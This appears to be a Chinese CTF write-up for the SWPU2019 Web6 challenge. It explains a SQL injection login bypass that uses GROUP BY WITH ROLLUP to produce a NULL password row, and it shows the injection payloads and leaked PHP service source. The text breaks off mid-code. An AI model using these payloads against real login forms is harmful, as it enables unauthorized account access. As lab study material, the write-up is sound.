[SWPU2019]Web6

[SWPU2019]Web6

一个登陆页面,尝试一下1’ and sleep(4)#后弹出被过滤的回显,然后怎么都没思路,然后输入了下万能密码1’ or 1=1 or ‘1’='1,回显了passwd错误,这证明只对passwd进行的检测

看了下wp

猜测源码太狠了

$sql="select * from users where username='$name' and passwd='$pass'";
$query = mysql_query($sql); 
if (mysql_num_rows($query) == 1) {
    
    $key = mysql_fetch_array($query);
    if($key['passwd'] == $_POST['passwd']) {
   

先了解下with rollup:Mysql中的WITH ROLLUP用法

WITH ROLLUP:在group分组字段的基础上再进行统计数据

group by…with rollup学习实例

mysql> select name,money from test;
+-----------+-------+
| name      | money |
+-----------+-------+
| 周伯通    |    12 |
| 老顽童    |    33 |
| 欧阳锋    |    70 |
| 欧阳克    |    99 |
| 小顽童    |    12 |
| 周伯通    |    56 |
| 周伯通    |    19 |
| 欧阳锋    |    57 |
| 老顽童    |    84 |
+-----------+-------+


mysql> SELECT name,money FROM test group by name,money;
+-----------+-------+
| name      | money |
+-----------+-------+
| 周伯通    |    12 |
| 周伯通    |    19 |
| 周伯通    |    56 |
| 小顽童    |    12 |
| 欧阳克    |    99 |
| 欧阳锋    |    57 |
| 欧阳锋    |    70 |
| 老顽童    |    33 |
| 老顽童    |    84 |
+-----------+-------+

mysql> SELECT name,money FROM test group by name,money with ROLLUP;
+-----------+-------+
| name      | money |
+-----------+-------+
| 周伯通    |    12 |
| 周伯通    |    19 |
| 周伯通    |    56 |
| 周伯通    |  NULL |
| 小顽童    |    12 |
| 小顽童    |  NULL |
| 欧阳克    |    99 |
| 欧阳克    |  NULL |
| 欧阳锋    |    57 |
| 欧阳锋    |    70 |
| 欧阳锋    |  NULL |
| 老顽童    |    33 |
| 老顽童    |    84 |
| 老顽童    |  NULL |
| NULL      |  NULL |
+-----------+-------+

可以看到最后汇总出来的是一个NULL,然后在看这个句源码if($key['passwd'] == $_POST['passwd']),NULL==NULL是可以过掉的

mysql> SELECT name,money FROM test group by name,money with ROLLUP limit 14,1;
+------+-------+
| name | money |
+------+-------+
| NULL |  NULL |
+------+-------+

只要找到NULL所在的位置就可以利用这个弱类型

1' or '1'='1' group by passwd with rollup limit 1,1#

正常来说这么慢慢找就可以了,但是limit被过滤了…

1' or '1'='1' group by passwd with rollup having passwd is NULL#

这样可以直接查为NULL的字段

在这里插入图片描述

wp说有提示…但是我一直没找到,访问wsdl.php打开F12有后续的提示

在这里插入图片描述

这样可以拿到源码,然后包含了2个文件进来,service.php没读权限

<?php
ob_start();
include ("encode.php");
include("Service.php");
//error_reporting(0);
//phpinfo();
$method = $_GET['method']?$_GET['method']:'index';
//echo 1231;
$allow_method = array("File_read","login","index","hint","user","get_flag");
if(!in_array($method,$allow_method)){
   
    die("not allow method");
}
if($method==="File_read"){
   
    $param =$_POST['filename'];
    $param2=null;
}else{
   
    if($method==="login"){
   
        $param=$_POST['username'];
        $param2 = $_POST['passwd'];
    }else{
   
        echo "method can use";
    }
}
echo $method;
$newclass = new Service();
echo $newclass->$method($param,$param2);
ob_flush();
?>

这里有一个method数组,根据下文和网站功能来看,这些参数应该是方法名,我们直接去调用get_flag

在这里插入图片描述

只能127.0.0.1才能调用

#encode.php
<?php
function en_crypt($content,
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值